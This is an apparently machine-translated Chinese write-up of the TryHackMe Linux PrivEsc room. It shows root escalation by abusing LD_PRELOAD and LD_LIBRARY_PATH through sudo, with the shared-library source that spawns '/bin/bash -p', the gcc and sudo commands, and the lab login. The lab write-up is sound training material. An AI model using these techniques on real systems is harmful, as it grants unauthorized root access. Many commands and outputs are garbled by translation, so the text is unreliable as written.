这次,我们将尝试使用Linux环境变量“ ld_preload”和“ ld_library_path”来升级特权。
目标机使用Tryhackme下面的房间。
“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc ”
本文是第4部分。
如果您想使用TryHackMe查看Linux Privesc的写入,请还检查使用GTFOBINS的特权高程




准备
首先,启动目标机器并将其连接到目标机器。
启动目标机器
首先,启动目标机器。
加入“ tryhackme-linux privesc: https://tryhackme.com/room/linuxprivesc

如果这样显示IP地址,则可以启动可以。

SSH连接
连接到使用SSH开始的目标机。
如所解释的那样,只要您可以使用“用户:password321”连接。
└─$ ssh user@10.6.6.35无法建立主机'10 .10.6.35(10.10.6.35)的真实性'无法建立。 DSA密钥指纹为SHA256:P2NSSFVYJVK1QE0TSNX5G2H8AAWYRN71JDZ3UEODBMA。您确定要继续连接(是/否/[指纹]),该键不知道其他名称吗?是警告:永久添加'10 .10.6.35'(DSA)中已知主机列表。 user@10.10.6.35's密码:Linux Debian 2.6.32-5-AMD64#1 SMP TUE 5月13日16:34:35 UTC 2014 x86_64 Debian GNU/Linux系统包含的程序是免费的软件;在/usr/share/doc/*/版权所有的单个文件中描述了每个程序的确切分发术语。在适用法律允许的范围内,Debian GNU/Linux绝对没有保修。上次登录:星期五5月15日06:41:23 2020从192.168.1.1.125用户@debian:〜$ sudo -l匹配此主机上用户的默认条目:env_ereset,env_keep+= ld_preload,env_kepect+= ld_library_library_path_path_path_path_path_path
“ -ohostkeyalgorithms =+ssh-rsa”必须添加
使用环境变量提升特权
脆弱的环境变量是“ LD_PRELEOD”和“ LD_LIBRARY_PATH”。
简短的解释如下:
- ld_preload:用于预紧库。通过指定共享库,可以在执行任何程序之前加载(或执行)共享库。
- ld_library_path:指定搜索共享库的列表。通过指定库文件所在的目录,也可以搜索该目录。
使用ld_preload提升特权
现在,我将尝试使用“ ld_preload”获得根特权。
首先,检查哪些程序可以使用sudo运行。
您可以看到可以使用SODU运行11个程序。
用户@debian:〜$ sudo -l匹配此主机上用户的默认条目:env_reset,env_keep+= ld_preload,env_keep+= ld_library_path_path user用户用户可以在此主机上运行以下命令:(root)nopasswd:/usr/sbin/sbin/iftop(root) /usr/bin/nano (root) NOPASSWD: /usr/bin/vim (root) NOPASSWD: /usr/bin/man (root) NOPASSWD: /usr/bin/awk (root) NOPASSWD: /usr/bin/less (root) NOPASSWD: /usr/bin/ftp (root) NOPASSWD: /usr/bin/nmap (root)nopasswd:/usr/sbin/apache2(root)nopasswd:/bin/more
我们将创建一个将提前加载的共享库。
但是,我认为目标机上会有“ preload.c”,因此我将进行编译。
看来PRELOAD.C是一个运行系统调用并生成“/bin/bash”外壳的程序。
用户@debian:〜$ cat/home/user/tools/sudo/preload.c #include<stdio.h> #包括<sys/types.h>#包括<stdlib.h>void _init(){unsetenv(“ ld_preload”); setResuid(0,0,0);系统(“/bin/bash -p”); }
从PRELOAD.C生成共享库。
user@debian:〜$ gcc -fpic -shared -nostartfiles -o/tmp/preload.so/home/user/user/tools/sudo/preload.c.c
创建它后,运行可以使用sudo执行的程序时,请指定ld_preload并运行它。
user@debian:〜$ sudo ld_preload =/tmp/preload.so cong root@debian:/home/user#whoami root
您已经能够成为根用户。
使用ld_library_path的特权高程
接下来,我们还将尝试使用“ ld_library_path”来升级特权。
首先,将命令“ LDD”运行到Apache2,以在共享库上显示依赖项以检查共享库。
user@debian:〜$ ldd/usr/sbin/apache2 linux-vdso.so.so.1 =>(0x00007FFF84EE8000)libpcre.so.so.so.3 => /lib/x86_64-linux-gnu/linux-gnu/libppcre.so.so.so.3(0x0000007fba94c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5c5crut> .0 /USR/lib/libaprutil-1.so.0(0x00007fba94a38000)libaprutil-1.so.0 =>/usr/lib/lib/libaprutil-1.so.0(0x0000007fba94a38000) (0x00007fba947fe000)libpthread.so.0 => /lib/libpthread.so.0(0x00007fba945e2000)libc.so.so.so.so.so.so.so.so.6 => /lib/libc.so.6(0x00000000007fba94276000)libuib.so.so.so.so.so.so.so.so.so.so.so.so.so.sso.ss = /libu.ss => /lidid.s>> /lid.s>> /lidibui.1 => / (0x00007fba94071000)libt.so.1 => /lib/libt.so.1(0x00007fba93e69000)libcrypt.so.so.1 => /lib/libcrypt.so.1(0x00007fba93c32000) (0x00007fba93a2d000)libexpat.so.1 =>/usr/lib/lib/libexpat.so.1(0x00007fba93805000)/lib64/llib64/ld-linux-x86-64.so.2(0x00007fba95119000)
有一些依赖性,但是这次我们将创建与“ libcrypt.so.1”相同的共享库,然后尝试加载它。
首先,让我们创建一个共享库。
“ Library_path.c”的内容如下:
您的所作所为与以前没有什么不同。
用户@debian:〜$ cat/home/user/tools/sudo/library_path.c #include<stdio.h> #包括<stdlib.h>静态void hijack()__attribute __((构造函数)); void hijack(){unsetenv(“ ld_library_path”); setResuid(0,0,0);系统(“/bin/bash -p”); }
从上面的“ library_path.c”创建一个名为“ libcrypt.so.1”的共享库。
存储位置为“/TMP”。
用户@debian:〜$ gcc -o/tmp/libcrypt.so.1 -shared -fpic/home/user/tools/sudo/library_path.c.c.c.c
使用sudo运行apache2时,指定LD_Library_path早期存储的“/TMP”。
user@debian:〜$ sudo ld_library_path =/tmp apache2 apache2:/tmp/libcrypt.so.sso.1:无可用的版本信息(/usr/lib/libaprutil-1.so.so.0)
我认为这使Root可以升级特权!
概括
这次,我尝试使用Linux环境变量“ ld_preload”和“ ld_library_path”来升级特权。
内容是,通过生成 /bin /bash shell并使用sudo运行它,您可以得到根壳,但我想知道这是否可能。 。 。我很感兴趣。
参考和站点
媒介( shamsher khan ): https://infosecwriteups.com/linux-privesc-trivesc-tryhackme-writeup-bf4e32460ee5